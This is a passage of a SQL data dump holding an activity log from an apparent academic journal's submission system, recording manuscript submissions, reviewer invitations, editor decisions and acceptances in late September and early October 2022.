Updated',13080,'Publisher',75),(121721,'2022-09-23 15:47:17','Manuscript Updated',13081,'Publisher',75),(121722,'2022-09-23 15:52:14','Publisher has been Accepted Articles  article',13080,'Publisher',75),(121723,'2022-09-23 15:54:13','Publisher has been Accepted Articles  article',13081,'Publisher',75),(121724,'2022-09-23 15:56:22','Manuscript Submitted by Author using Submission form',13082,'Author',13281),(121725,'2022-09-23 16:48:08','Manuscript Updated',13073,'Publisher',319),(121726,'2022-09-23 16:48:24','Publisher has been Accepted Articles  article',13073,'Publisher',319),(121727,'2022-09-23 18:30:32','Publisher has been Withdrawn  article',4216,'Publisher',274),(121728,'2022-09-23 18:38:42','Editor has been Editor Decision Accepted article',2584,'Editor',1235),(121729,'2022-09-24 08:39:48','Publisher has Invited Reviewer',13069,'Publisher',85),(121730,'2022-09-24 08:39:53','Publisher has Invited Reviewer',13069,'Publisher',85),(121731,'2022-09-24 08:39:58','Publisher has Invited Reviewer',13069,'Publisher',85),(121732,'2022-09-24 09:56:16','Publisher has been Accepted Articles  article',13065,'Publisher',248),(121733,'2022-09-24 09:57:55','Publisher has been Accepted Articles  article',12925,'Publisher',248),(121734,'2022-09-24 09:59:08','Publisher has been Accepted Articles  article',12662,'Publisher',248),(121735,'2022-09-24 10:02:16','Publisher has been Accepted Articles  article',13032,'Publisher',248),(121736,'2022-09-24 10:03:18','Publisher has been Accepted Articles  article',13057,'Publisher',248),(121737,'2022-09-24 10:04:22','Publisher has been Accepted Articles  article',13054,'Publisher',248),(121738,'2022-09-24 10:05:22','Publisher has been Accepted Articles  article',12983,'Publisher',248),(121739,'2022-09-24 10:06:09','Publisher has been Accepted Articles  article',12930,'Publisher',248),(121740,'2022-09-24 10:07:47','Publisher has been Accepted Articles  article',11846,'Publisher',248),(121741,'2022-09-24 10:13:11','Manuscript Submitted by Author using Submission form',13083,'Author',13282),(121742,'2022-09-24 10:30:50','Manuscript Submitted by Author using Submission form',13084,'Author',13283),(121743,'2022-09-24 11:14:42','Manuscript Updated',13074,'Publisher',319),(121744,'2022-09-24 11:14:56','Publisher has been Accepted Articles  article',13074,'Publisher',319),(121745,'2022-09-24 11:46:15','Publisher has been Assigned Editor',12908,'Publisher',319),(121746,'2022-09-24 12:42:12','Editor has Accepted to review Manuscript',13048,'Editor',160),(121747,'2022-09-24 12:42:33','Editor has been Editor Decision Accepted article',13048,'Editor',160),(121748,'2022-09-24 12:45:43','Publisher: Accept Notification has been sent to Author',13048,'Publisher',75),(121749,'2022-09-24 12:46:02','Publisher has been Accepted Articles  article',13048,'Publisher',75),(121750,'2022-09-26 09:37:11','Publisher has Invited Reviewer',13069,'Publisher',85),(121751,'2022-09-26 09:37:17','Publisher has Invited Reviewer',13069,'Publisher',85),(121752,'2022-09-26 09:37:21','Publisher has Invited Reviewer',13069,'Publisher',85),(121753,'2022-09-26 09:37:27','Publisher has Invited Reviewer',13069,'Publisher',85),(121754,'2022-09-26 09:37:32','Publisher has Invited Reviewer',13069,'Publisher',85),(121755,'2022-09-26 09:37:37','Publisher has Invited Reviewer',13069,'Publisher',85),(121756,'2022-09-26 09:37:42','Publisher has Invited Reviewer',13069,'Publisher',85),(121757,'2022-09-26 09:37:47','Publisher has Invited Reviewer',13069,'Publisher',85),(121758,'2022-09-26 09:37:52','Publisher has Invited Reviewer',13069,'Publisher',85),(121759,'2022-09-26 09:37:57','Publisher has Invited Reviewer',13069,'Publisher',85),(121760,'2022-09-26 10:43:42','Editor has Accepted to review Manuscript',13049,'Editor',161),(121761,'2022-09-26 10:43:52','Editor has been Editor Decision Accepted article',13049,'Editor',161),(121762,'2022-09-26 10:45:14','Publisher: Accept Notification has been sent to Author',13049,'Publisher',75),(121763,'2022-09-26 10:45:47','Publisher has been Accepted Articles  article',13049,'Publisher',75),(121764,'2022-09-26 11:36:49','Publisher has been Assigned Editor',13082,'Publisher',984),(121765,'2022-09-26 11:47:20','Editor has Accepted to review Manuscript',12923,'Editor',193),(121766,'2022-09-26 11:47:31','Editor has been Editor Decision Accepted article',12923,'Editor',193),(121767,'2022-09-26 11:49:29','Reviewer has submitted comments',12923,'Reviewer',21497),(121768,'2022-09-26 11:51:29','Publisher has been Accepted Articles  article',12923,'Publisher',48),(121769,'2022-09-26 13:09:53','Manuscript Submitted by Author using Submission form',13085,'Author',13284),(121770,'2022-09-26 13:12:01','Manuscript Submitted by Author using Submission form',13086,'Author',13285),(121771,'2022-09-26 13:13:54','Manuscript Submitted by Author using Submission form',13087,'Author',13286),(121772,'2022-09-26 14:11:57','Publisher has been Assigned Editor',13085,'Publisher',75),(121773,'2022-09-26 14:12:14','Publisher has been Assigned Editor',13086,'Publisher',75),(121774,'2022-09-26 14:12:34','Publisher has been Assigned Editor',13087,'Publisher',75),(121775,'2022-09-26 14:44:15','Manuscript Submitted by Author using Submission form',13088,'Author',13287),(121776,'2022-09-26 15:08:40','Manuscript Submitted by Author using Submission form',13089,'Author',13288),(121777,'2022-09-26 17:22:51','Manuscript Updated',13085,'Publisher',75),(121778,'2022-09-26 17:35:55','Publisher has been Assigned Editor',13084,'Publisher',248),(121779,'2022-09-27 09:24:07','Publisher has Invited Reviewer',13063,'Publisher',645),(121780,'2022-09-27 09:28:09','Publisher has Invited Reviewer',13063,'Publisher',645),(121781,'2022-09-27 09:36:14','Reviewer has submitted comments',13063,'Reviewer',21530),(121782,'2022-09-27 10:19:46','Publisher has Invited Reviewer',12908,'Publisher',319),(121783,'2022-09-27 10:19:47','Publisher has Invited Reviewer',12908,'Publisher',319),(121784,'2022-09-27 10:19:48','Publisher has Invited Reviewer',12908,'Publisher',319),(121785,'2022-09-27 10:19:49','Publisher has Invited Reviewer',12908,'Publisher',319),(121786,'2022-09-27 10:19:50','Publisher has Invited Reviewer',12908,'Publisher',319),(121787,'2022-09-27 10:19:51','Publisher has Invited Reviewer',12908,'Publisher',319),(121788,'2022-09-27 10:19:52','Publisher has Invited Reviewer',12908,'Publisher',319),(121789,'2022-09-27 10:19:53','Publisher has Invited Reviewer',12908,'Publisher',319),(121790,'2022-09-27 10:19:54','Publisher has Invited Reviewer',12908,'Publisher',319),(121791,'2022-09-27 10:19:54','Publisher has Invited Reviewer',12908,'Publisher',319),(121792,'2022-09-27 12:02:19','Publisher has been Accepted Articles  article',13085,'Publisher',75),(121793,'2022-09-27 12:02:32','Manuscript Updated',13086,'Publisher',75),(121794,'2022-09-27 12:02:43','Manuscript Updated',13087,'Publisher',75),(121795,'2022-09-27 12:03:15','Publisher has been Accepted Articles  article',13086,'Publisher',75),(121796,'2022-09-27 12:03:39','Publisher has been Accepted Articles  article',13087,'Publisher',75),(121797,'2022-09-27 12:13:44','Editor has Accepted to review Manuscript',13082,'Editor',1780),(121798,'2022-09-27 12:18:00','Editor has been Editor Decision Accepted article',12895,'Editor',1780),(121799,'2022-09-27 12:19:43','Manuscript Updated',13084,'Publisher',248),(121800,'2022-09-27 12:19:59','Publisher has been Accepted Articles  article',13084,'Publisher',248),(121801,'2022-09-27 13:08:19','Publisher has been Assigned Editor',13089,'Publisher',319),(121802,'2022-09-27 13:08:58','Publisher has Invited Reviewer',13089,'Publisher',319),(121803,'2022-09-27 13:08:59','Publisher has Invited Reviewer',13089,'Publisher',319),(121804,'2022-09-27 13:09:00','Publisher has Invited Reviewer',13089,'Publisher',319),(121805,'2022-09-27 13:09:01','Publisher has Invited Reviewer',13089,'Publisher',319),(121806,'2022-09-27 13:09:02','Publisher has Invited Reviewer',13089,'Publisher',319),(121807,'2022-09-27 13:09:02','Publisher has Invited Reviewer',13089,'Publisher',319),(121808,'2022-09-27 13:09:03','Publisher has Invited Reviewer',13089,'Publisher',319),(121809,'2022-09-27 13:09:04','Publisher has Invited Reviewer',13089,'Publisher',319),(121810,'2022-09-27 13:09:05','Publisher has Invited Reviewer',13089,'Publisher',319),(121811,'2022-09-27 13:09:06','Publisher has Invited Reviewer',13089,'Publisher',319),(121812,'2022-09-27 13:09:07','Publisher has Invited Reviewer',13089,'Publisher',319),(121813,'2022-09-27 13:09:08','Publisher has Invited Reviewer',13089,'Publisher',319),(121814,'2022-09-27 13:09:08','Publisher has Invited Reviewer',13089,'Publisher',319),(121815,'2022-09-27 13:09:09','Publisher has Invited Reviewer',13089,'Publisher',319),(121816,'2022-09-27 13:19:23','Publisher has been Accepted Articles  article',13037,'Publisher',274),(121817,'2022-09-27 14:30:04','Manuscript Updated',13089,'Publisher',319),(121818,'2022-09-27 14:30:24','Publisher has been Accepted Articles  article',13089,'Publisher',319),(121819,'2022-09-27 14:30:42','Publisher has been Assigned Editor',13088,'Publisher',319),(121820,'2022-09-27 14:31:07','Publisher has Invited Reviewer',13088,'Publisher',319),(121821,'2022-09-27 14:31:07','Publisher has Invited Reviewer',13088,'Publisher',319),(121822,'2022-09-27 14:31:08','Publisher has Invited Reviewer',13088,'Publisher',319),(121823,'2022-09-27 14:31:09','Publisher has Invited Reviewer',13088,'Publisher',319),(121824,'2022-09-27 14:31:09','Publisher has Invited Reviewer',13088,'Publisher',319),(121825,'2022-09-27 14:31:10','Publisher has Invited Reviewer',13088,'Publisher',319),(121826,'2022-09-27 14:31:11','Publisher has Invited Reviewer',13088,'Publisher',319),(121827,'2022-09-27 14:31:12','Publisher has Invited Reviewer',13088,'Publisher',319),(121828,'2022-09-27 14:31:12','Publisher has Invited Reviewer',13088,'Publisher',319),(121829,'2022-09-27 15:41:08','Manuscript Updated',13088,'Publisher',319),(121830,'2022-09-27 15:41:35','Publisher has been Accepted Articles  article',13088,'Publisher',319),(121831,'2022-09-27 21:52:15','Manuscript Submitted by Author using Submission form',13095,'Author',13294),(121832,'2022-09-27 23:27:00','Reviewer has submitted comments',12908,'Reviewer',7418),(121833,'2022-09-28 11:08:42','Publisher has Invited Reviewer',13076,'Publisher',48),(121834,'2022-09-28 11:08:47','Publisher has Invited Reviewer',13076,'Publisher',48),(121835,'2022-09-28 11:08:51','Publisher has Invited Reviewer',13076,'Publisher',48),(121836,'2022-09-28 11:08:56','Publisher has Invited Reviewer',13076,'Publisher',48),(121837,'2022-09-28 11:09:01','Publisher has Invited Reviewer',13076,'Publisher',48),(121838,'2022-09-28 11:09:06','Publisher has Invited Reviewer',13076,'Publisher',48),(121839,'2022-09-29 13:54:04','Reviewer has updated comments',12850,'Reviewer',21473),(121840,'2022-09-29 14:03:51','Manuscript Submitted by Author using Submission form',13096,'Author',13295),(121841,'2022-09-29 14:08:20','Manuscript Submitted by Author using Submission form',13097,'Author',13296),(121842,'2022-09-29 14:13:58','Manuscript Submitted by Author using Submission form',13098,'Author',13297),(121843,'2022-09-29 14:21:28','Manuscript Submitted by Author using Submission form',13099,'Author',13298),(121844,'2022-09-29 14:24:48','Manuscript Submitted by Author using Submission form',13100,'Author',13299),(121845,'2022-09-29 14:29:13','Reviewer has updated comments',12850,'Reviewer',21473),(121846,'2022-09-29 14:46:42','Reviewer has been sent email to Publisher',12850,'Reviewer',21473),(121847,'2022-09-30 10:17:56','Publisher has Invited Reviewer',13082,'Publisher',984),(121848,'2022-09-30 10:18:00','Publisher has Invited Reviewer',13082,'Publisher',984),(121849,'2022-09-30 10:18:05','Publisher has Invited Reviewer',13082,'Publisher',984),(121850,'2022-09-30 10:18:31','Publisher has Invited Reviewer',13082,'Publisher',984),(121851,'2022-09-30 10:18:38','Publisher has Invited Reviewer',13082,'Publisher',984),(121852,'2022-09-30 10:18:43','Publisher has Invited Reviewer',13082,'Publisher',984),(121853,'2022-09-30 10:18:47','Publisher has Invited Reviewer',13082,'Publisher',984),(121854,'2022-09-30 10:18:52','Publisher has Invited Reviewer',13082,'Publisher',984),(121855,'2022-09-30 10:18:57','Publisher has Invited Reviewer',13082,'Publisher',984),(121856,'2022-09-30 10:19:02','Publisher has Invited Reviewer',13082,'Publisher',984),(121857,'2022-09-30 10:19:06','Publisher has Invited Reviewer',13082,'Publisher',984),(121858,'2022-09-30 10:19:11','Publisher has Invited Reviewer',13082,'Publisher',984),(121859,'2022-09-30 10:19:16','Publisher has Invited Reviewer',13082,'Publisher',984),(121860,'2022-10-01 10:59:20','Publisher has been Assigned Editor',13100,'Publisher',673),(121861,'2022-10-01 10:59:36','Publisher has been Assigned Editor',13099,'Publisher',673),(121862,'2022-10-01 10:59:50','Publisher has been Assigned Editor',13098,'Publisher',673),(121863,'2022-10-01 11:00:40','Publisher has been Assigned Editor',13097,'Publisher',673),(121864,'2022-10-01 11:01:01','Publisher has been Assigned Editor',13096,'Publisher',673),(121865,'2022-10-01 11:01:32','Publisher has Invited Reviewer',13100,'Publisher',673),(121866,'2022-10-01 11:01:38','Publisher has Invited Reviewer',13100,'Publisher',673),(121867,'2022-10-01 11:01:43','Publisher has Invited Reviewer',13100,'Publisher',673),(121868,'2022-10-01 11:01:48','Publisher has Invited Reviewer',13100,'Publisher',673),(121869,'2022-10-01 11:01:54','Publisher has Invited Reviewer',13100,'Publisher',673),(121870,'2022-10-01 11:01:58','Publisher has Invited Reviewer',13100,'Publisher',673),(121871,'2022-10-01 11:02:03','Publisher has Invited Reviewer',13100,'Publisher',673),(121872,'2022-10-01 11:02:08','Publisher has Invited Reviewer',13100,'Publisher',673),(121873,'2022-10-01 11:02:13','Publisher has Invited Reviewer',13100,'Publisher',673),(121874,'2022-10-01 11:02:18','Publisher has Invited Reviewer',13100,'Publisher',673),(121875,'2022-10-01 11:02:23','Publisher has Invited Reviewer',13100,'Publisher',673),(121876,'2022-10-01 11:02:28','Publisher has Invited Reviewer',13100,'Publisher',673),(121877,'2022-10-01 11:02:33','Publisher has Invited Reviewer',13100,'Publisher',673),(121878,'2022-10-01 11:02:37','Publisher has Invited Reviewer',13100,'Publisher',673),(121879,'2022-10-01 11:02:42','Publisher has Invited Reviewer',13100,'Publisher',673),(121880,'2022-10-01 11:02:47','Publisher has Invited Reviewer',13100,'Publisher',673),(121881,'2022-10-01 11:02:52','Publisher has Invited Reviewer',13100,'Publisher',673),(121882,'2022-10-01 11:02:56','Publisher has Invited Reviewer',13100,'Publisher',673),(121883,'2022-10-01 11:03:01','Publisher has Invited Reviewer',13100,'Publisher',673),(121884,'2022-10-01 11:03:06','Publisher has Invited Reviewer',13100,'Publisher',673),(121885,'2022-10-01 11:03:10','Publisher has Invited Reviewer',13100,'Publisher',673),(121886,'2022-10-01 11:03:15','Publisher has Invited Reviewer',13100,'Publisher',673),(121887,'2022-10-01 11:03:38','Publisher has Invited Reviewer',13099,'Publisher',673),(121888,'2022-10-01 11:03:43','Publisher has Invited Reviewer',13099,'Publisher',673),(121889,'2022-10-01 11:03:48','Publisher has Invited Reviewer',13099,'Publisher',673),(121890,'2022-10-01 11:03:52','Publisher has Invited Reviewer',13099,'Publisher',673),(121891,'2022-10-01 11:03:57','Publisher has Invited Reviewer',13099,'Publisher',673),(121892,'2022-10-01 11:04:02','Publisher has Invited Reviewer',13099,'Publisher',673),(121893,'2022-10-01 11:04:07','Publisher has Invited Reviewer',13099,'Publisher',673),(121894,'2022-10-01 11:04:12','Publisher has Invited Reviewer',13099,'Publisher',673),(121895,'2022-10-01 11:04:16','Publisher has Invited Reviewer',13099,'Publisher',673),(121896,'2022-10-01 11:04:21','Publisher has Invited Reviewer',13099,'Publisher',673),(121897,'2022-10-01 11:04:26','Publisher has Invited Reviewer',13099,'Publisher',673),(121898,'2022-10-01 11:04:31','Publisher has Invited Reviewer',13099,'Publisher',673),(121899,'2022-10-01 11:04:35','Publisher has Invited Reviewer',13099,'Publisher',673),(121900,'2022-10-01 11:04:40','Publisher has Invited Reviewer',13099,'Publisher',673),(121901,'2022-10-01 11:04:45','Publisher has Invited Reviewer',13099,'Publisher',673),(121902,'2022-10-01 11:04:50','Publisher has Invited Reviewer',13099,'Publisher',673),(121903,'2022-10-01 11:04:54','Publisher has Invited Reviewer',13099,'Publisher',673),(121904,'2022-10-01 11:04:59','Publisher has Invited Reviewer',13099,'Publisher',673),(121905,'2022-10-01 11:05:04','Publisher has Invited Reviewer',13099,'Publisher',673),(121906,'2022-10-01 11:05:09','Publisher has Invited Reviewer',13099,'Publisher',673),(121907,'2022-10-01 11:05:13','Publisher has Invited Reviewer',13099,'Publisher',673),(121908,'2022-10-01 11:05:18','Publisher has Invited Reviewer',13099,'Publisher',673),(121909,'2022-10-03 09:46:45','Editor has Accepted to review Manuscript',13094,'Editor',222),(121910,'2022-10-03 09:47:01','Editor has been Editor Decision Accepted article',13094,'Editor',222),(121911,'2022-10-03 09:47:52','Editor has Accepted to review Manuscript',13093,'Editor',222),(121912,'2022-10-03 09:48:03','Editor has been Editor Decision Accepted article',13093,'Editor',222),(121913,'2022-10-03 09:48:15','Editor has been Editor Decision Accepted article',13093,'Editor',222),(121914,'2022-10-03 09:48:22','Editor has Accepted to review Manuscript',13092,'Editor',222),(121915,'2022-10-03 09:48:33','Editor has been Editor Decision Accepted article',13092,'Editor',222),(121916,'2022-10-03 09:48:38','Editor has Accepted to review Manuscript',13090,'Editor',222),(121917,'2022-10-03 09:48:53','Editor has been Editor Decision Accepted article',13090,'Editor',222),(121918,'2022-10-03 09:49:39','Editor has Accepted to review Manuscript',13091,'Editor',221),(121919,'2022-10-03 09:49:47','Editor has been Editor Decision Accepted article',13091,'Editor',221),(121920,'2022-10-03 09:50:22','Manuscript Updated',13090,'Publisher',84),(121921,'2022-10-03 09:50:22','Manuscript Updated',13090,'Publisher',84),(121922,'2022-10-03 09:50:46','Publisher has been Accepted Articles  article',13090,'Publisher',84),(121923,'2022-10-03 09:51:21','Manuscript Updated',13091,'Publisher',84),(121924,'2022-10-03 09:51:38','Publisher has been Accepted Articles  article',13091,'Publisher',84),(121925,'2022-10-03 09:51:40','Publisher has been Accepted Articles  article',13091,'Publisher',84),(121926,'2022-10-03 09:52:03','Manuscript Updated',13092,'Publisher',84),(121927,'2022-10-03 09:52:21','Publisher has been Accepted Articles  article',13092,'Publisher',84),(121928,'2022-10-03 09:52:43','Manuscript Updated',13093,'Publisher',84),(121929,'2022-10-03 09:53:01','Publisher has been Accepted Articles  article',13093,'Publisher',84),(121930,'2022-10-03 09:53:49','Manuscript Updated',13094,'Publisher',84),(121931,'2022-10-03 09:54:07','Publisher has been Accepted Articles  article',13094,'Publisher',84),(121932,'2022-10-03 11:19:33','Manuscript Submitted by Author using Submission form',13101,'Author',13300),(121933,'2022-10-03 14:42:44','Author sent Email',12242,'Author',12511),(121934,'2022-10-03 17:21:30','Manuscript Submitted by Author using Submission form',13102,'Author',13302),(121935,'2022-10-04 11:10:24','Manuscript Submitted by Author using Submission form',13103,'Author',13303),(121936,'2022-10-04 11:12:03','Manuscript Submitted by Author using Submission form',13104,'Author',13304),(121937,'2022-10-04 11:13:57','Manuscript Submitted by Author using Submission form',13105,'Author',13305),(121938,'2022-10-04 11:32:09','Manuscript Submitted by Author using Submission form',13106,'Author',13306),(121939,'2022-10-04 11:50:57','Manuscript Submitted by Author using Submission form',13107,'Author',13307),(121940,'2022-10-04 12:22:19','Manuscript Updated',13100,'Publisher',673),(121941,'2022-10-04 12:22:31','Manuscript Updated',13099,'Publisher',673),(121942,'2022-10-04 12:22:45','Manuscript Updated',13098,'Publisher',673),(121943,'2022-10-04 12:22:57','Manuscript Updated',13097,'Publisher',673),(121944,'2022-10-04 12:23:09','Manuscript Updated',13097,'Publisher',673),(121945,'2022-10-04 12:23:21','Manuscript Updated',13096,'Publisher',673),(121946,'2022-10-04 12:25:04','Editor has Accepted to review Manuscript',13097,'Editor',1732),(121947,'2022-10-04 12:25:14','Editor has been Editor Decision Accepted article',13097,'Editor',1732),(121948,'2022-10-04 12:25:20','Editor has Accepted to review Manuscript',13096,'Editor',1732),(121949,'2022-10-04 12:25:30','Editor has been Editor Decision Accepted article',13096,'Editor',1732),(121950,'2022-10-04 12:25:54','Editor has Invited Reviewer',13097,'Editor',1732),(121951,'2022-10-04 12:25:59','Editor has Invited Reviewer',13097,'Editor',1732),(121952,'2022-10-04 12:26:04','Editor has Invited Reviewer',13097,'Editor',1732),(121953,'2022-10-04 12:26:09','Editor has Invited Reviewer',13097,'Editor',1732),(121954,'2022-10-04 12:26:14','Editor has Invited Reviewer',13097,'Editor',1732),(121955,'2022-10-04 12:26:18','Editor has Invited Reviewer',13097,'Editor',1732),(121956,'2022-10-04 12:26:23','Editor has Invited Reviewer',13097,'Editor',1732),(121957,'2022-10-04 12:26:28','Editor has Invited Reviewer',13097,'Editor',1732),(121958,'2022-10-04 12:26:33','Editor has Invited Reviewer',13097,'Editor',1732),(121959,'2022-10-04 12:26:37','Editor has Invited Reviewer',13097,'Editor',1732),(121960,'2022-10-04 12:26:42','Editor has Invited Reviewer',13097,'Editor',1732),(121961,'2022-10-04 12:26:47','Editor has Invited Reviewer',13097,'Editor',1732),(121962,'2022-10-04 12:26:51','Editor has Invited Reviewer',13097,'Editor',1732),(121963,'2022-10-04 12:26:56','Editor has Invited Reviewer',13097,'Editor',1732),(121964,'2022-10-04 12:27:01','Editor has Invited Reviewer',13097,'Editor',1732),(121965,'2022-10-04 12:27:05','Editor has Invited Reviewer',13097,'Editor',1732),(121966,'2022-10-04 12:27:10','Editor has Invited Reviewer',13097,'Editor',1732),(121967,'2022-10-04 12:27:15','Editor has Invited Reviewer',13097,'Editor',1732),(121968,'2022-10-04 12:27:20','Editor has Invited Reviewer',13097,'Editor',1732),(121969,'2022-10-04 12:27:24','Editor has Invited Reviewer',13097,'Editor',1732),(121970,'2022-10-04 12:27:29','Editor has Invited Reviewer',13097,'Editor',1732),(121971,'2022-10-04 12:27:34','Editor has Invited Reviewer',13097,'Editor',1732),(121972,'2022-10-04 12:27:49','Editor has Accepted to review Manuscript',13100,'Editor',1456),(121973,'2022-10-04 12:27:58','Editor has been Editor Decision Accepted article',13100,'Editor',1456),(121974,'2022-10-04 12:28:04','Editor has Accepted to review Manuscript',13099,'Editor',1456),(121975,'2022-10-04 12:28:13','Editor has been Editor Decision Accepted article',13099,'Editor',1456),(121976,'2022-10-04 12:28:18','Editor has Accepted to review Manuscript',13098,'Editor',1456),(121977,'2022-10-04 12:28:27','Editor has been Editor Decision Accepted article',13098,'Editor',1456),(121978,'2022-10-04 12:36:00','Manuscript Submitted by Publisher',13108,'Publisher',319),(121979,'2022-10-04 13:10:27','Manuscript Submitted by Publisher',13109,'Publisher',319),(121980,'2022-10-04 13:19:00','Publisher has been Assigned Editor',13102,'Publisher',75),(121981,'2022-10-04 15:34:22','Publisher has Invited Reviewer',13102,'Publisher',75),(121982,'2022-10-04 15:34:27','Publisher has Invited Reviewer',13102,'Publisher',75),(121983,'2022-10-04 15:34:32','Publisher has Invited Reviewer',13102,'Publisher',75),(121984,'2022-10-04 15:34:36','Publisher has Invited Reviewer',13102,'Publisher',75),(121985,'2022-10-04 15:34:41','Publisher has Invited Reviewer',13102,'Publisher',75),(121986,'2022-10-04 21:28:30','Reviewer has submitted comments',13102,'Reviewer',21529),(121987,'2022-10-05 12:44:22','Manuscript Submitted by Author using Submission form',13110,'Author',13308),(121988,'2022-10-06 11:02:17','Publisher has been Assigned Editor',13105,'Publisher',972),(121989,'2022-10-06 11:02:58','Publisher has Invited Reviewer',13105,'Publisher',972),(121990,'2022-10-06 11:03:03','Publisher has Invited Reviewer',13105,'Publisher',972),(121991,'2022-10-06 11:03:07','Publisher has Invited Reviewer',13105,'Publisher',972),(121992,'2022-10-06 11:03:41','Publisher has been Accepted Articles  article',13096,'Publisher',673),(121993,'2022-10-06 11:05:10','Publisher has been Accepted Articles  article',13097,'Publisher',673),(121994,'2022-10-06 11:06:50','Editor has Accepted to review Manuscript',13105,'Editor',1786),(121995,'2022-10-06 11:06:52','Publisher has been Accepted Articles  article',13098,'Publisher',673),(121996,'2022-10-06 11:06:53','Publisher has been Accepted Articles  article',13098,'Publisher',673),(121997,'2022-10-06 11:07:00','Editor has been Editor Decision Accepted article',13105,'Editor',1786),(121998,'2022-10-06 11:07:42','Manuscript Updated',13105,'Publisher',972),(121999,'2022-10-06 11:08:59','Publisher has been Accepted Articles  article',13099,'Publisher',673),(122000,'2022-10-06 11:10:24','Publisher has been Accepted Articles  article',13100,'Publisher',673),(122001,'2022-10-06 11:10:25','Publisher has been Accepted Articles  article',13100,'Publisher',673),(122002,'2022-10-06 11:31:50','Manuscript Submitted by Author using Submission form',13111,'Author',13309),(122003,'2022-10-06 12:12:16','Manuscript Submitted by Author using Submission form',13112,'Author',13310),(122004,'2022-10-06 13:19:10','Publisher has been Assigned Editor',13109,'Publisher',319),(122005,'2022-10-06 13:19:18','Publisher has been Assigned Editor',13107,'Publisher',972),(122006,'2022-10-06 13:19:30','Publisher has been Assigned Editor',0,'Publisher',319),(122007,'2022-10-06 13:19:54','Publisher has been Assigned Editor',13108,'Publisher',319),(122008,'2022-10-06 13:20:24','Publisher has Invited Reviewer',13109,'Publisher',319),(122009,'2022-10-06 13:20:25','Publisher has Invited Reviewer',13109,'Publisher',319),(122010,'2022-10-06 13:20:26','Publisher has Invited Reviewer',13109,'Publisher',319),(122011,'2022-10-06 13:20:27','Publisher has Invited Reviewer',13109,'Publisher',319),(122012,'2022-10-06 13:20:27','Publisher has Invited Reviewer',13109,'Publisher',319),(122013,'2022-10-06 13:20:28','Publisher has Invited Reviewer',13109,'Publisher',319),(122014,'2022-10-06 13:20:29','Publisher has Invited Reviewer',13109,'Publisher',319),(122015,'2022-10-06 13:20:30','Publisher has Invited Reviewer',13109,'Publisher',319),(122016,'2022-10-06 13:20:31','Publisher has Invited Reviewer',13109,'Publisher',319),(122017,'2022-10-06 13:20:32','Publisher has Invited Reviewer',13109,'Publisher',319),(122018,'2022-10-06 13:20:32','Publisher has Invited Reviewer',13109,'Publisher',319),(122019,'2022-10-06 13:20:33','Publisher has Invited Reviewer',13109,'Publisher',319),(122020,'2022-10-06 13:20:34','Publisher has Invited Reviewer',13109,'Publisher',319),(122021,'2022-10-06 13:20:35','Publisher has Invited Reviewer',13109,'Publisher',319),(122022,'2022-10-06 13:20:57','Publisher has Invited Reviewer',13108,'Publisher',319),(122023,'2022-10-06 13:20:58','Publisher has Invited Reviewer',13108,'Publisher',319),(122024,'2022-10-06 13:20:59','Publisher has Invited Reviewer',13108,'Publisher',319),(122025,'2022-10-06 13:21:00','Publisher has Invited Reviewer',13108,'Publisher',319),(122026,'2022-10-06 13:21:01','Publisher has Invited Reviewer',13108,'Publisher',319),(122027,'2022-10-06 13:21:01','Publisher has Invited Reviewer',13108,'Publisher',319),(122028,'2022-10-06 13:21:02','Publisher has Invited Reviewer',13108,'Publisher',319),(122029,'2022-10-06 13:21:03','Publisher has Invited Reviewer',13108,'Publisher',319),(122030,'2022-10-06 13:21:04','Publisher has Invited Reviewer',13108,'Publisher',319),(122031,'2022-10-06 13:21:05','Publisher has Invited Reviewer',13108,'Publisher',319),(122032,'2022-10-06 13:21:05','Publisher has Invited Reviewer',13108,'Publisher',319),(122033,'2022-10-06 13:21:06','Publisher has Invited Reviewer',13108,'Publisher',319),(122034,'2022-10-06 13:21:07','Publisher has Invited Reviewer',13108,'Publisher',319),(122035,'2022-10-06 13:21:08','Publisher has Invited Reviewer',13108,'Publisher',319),(122036,'2022-10-06 13:22:20','Publisher has been Assigned Editor',13106,'Publisher',972),(122037,'2022-10-06 13:22:42','Publisher has been Assigned Editor',13104,'Publisher',972),(122038,'2022-10-06 13:23:01','Publisher has been Assigned Editor',13103,'Publisher',972),(122039,'2022-10-06 13:24:28','Publisher has Invited Reviewer',13107,'Publisher',972),(122040,'2022-10-06 13:24:33','Publisher has Invited Reviewer',13107,'Publisher',972),(122041,'2022-10-06 13:25:15','Publisher has Invited Reviewer',13106,'Publisher',972),(122042,'2022-10-06 13:25:20','Publisher has Invited Reviewer',13106,'Publisher',972),(122043,'2022-10-06 13:26:07','Publisher has Invited Reviewer',13104,'Publisher',972),(122044,'2022-10-06 13:26:11','Publisher has Invited Reviewer',13104,'Publisher',972),(122045,'2022-10-06 13:26:48','Publisher has Invited Reviewer',13103,'Publisher',972),(122046,'2022-10-06 13:26:52','Publisher has Invited Reviewer',13103,'Publisher',972),(122047,'2022-10-06 13:50:56','Manuscript Submitted by Author using Submission form',13114,'Author',13312),(122048,'2022-10-06 13:59:21','Manuscript Updated',13107,'Publisher',972),(122049,'2022-10-06 13:59:30','Manuscript Updated',13106,'Publisher',972),(122050,'2022-10-06 13:59:43','Manuscript Updated',13104,'Publisher',972),(122051,'2022-10-06 13:59:58','Manuscript Updated',13103,'Publisher',972),(122052,'2022-10-06 14:00:40','Editor has Accepted to review Manuscript',13106,'Editor',1785),(122053,'2022-10-06 14:00:41','Editor has Accepted to review Manuscript',13106,'Editor',1785),(122054,'2022-10-06 14:00:56','Editor has been Editor Decision Accepted article',13106,'Editor',1785),(122055,'2022-10-06 14:01:39','Editor has Accepted to review Manuscript',13107,'Editor',1786),(122056,'2022-10-06 14:01:53','Editor has been Editor Decision Accepted article',13107,'Editor',1786),(122057,'2022-10-06 14:02:30','Editor has Accepted to review Manuscript',13104,'Editor',1784),(122058,'2022-10-06 14:02:44','Editor has been Editor Decision Accepted article',13104,'Editor',1784),(122059,'2022-10-06 14:03:20','Editor has Accepted to review Manuscript',13103,'Editor',1324),(122060,'2022-10-06 14:03:35','Editor has been Editor Decision Accepted article',13103,'Editor',1324),(122061,'2022-10-06 14:05:25','Publisher has been Accepted Articles  article',13107,'Publisher',972),(122062,'2022-10-06 14:05:45','Publisher has been Accepted Articles  article',13106,'Publisher',972),(122063,'2022-10-06 14:06:05','Publisher has been Accepted Articles  article',13105,'Publisher',972),(122064,'2022-10-06 14:06:49','Publisher has been Accepted Articles  article',13104,'Publisher',972),(122065,'2022-10-06 14:07:07','Publisher has been Accepted Articles  article',13103,'Publisher',972),(122066,'2022-10-06 14:12:51','Manuscript Submitted by Author using Submission 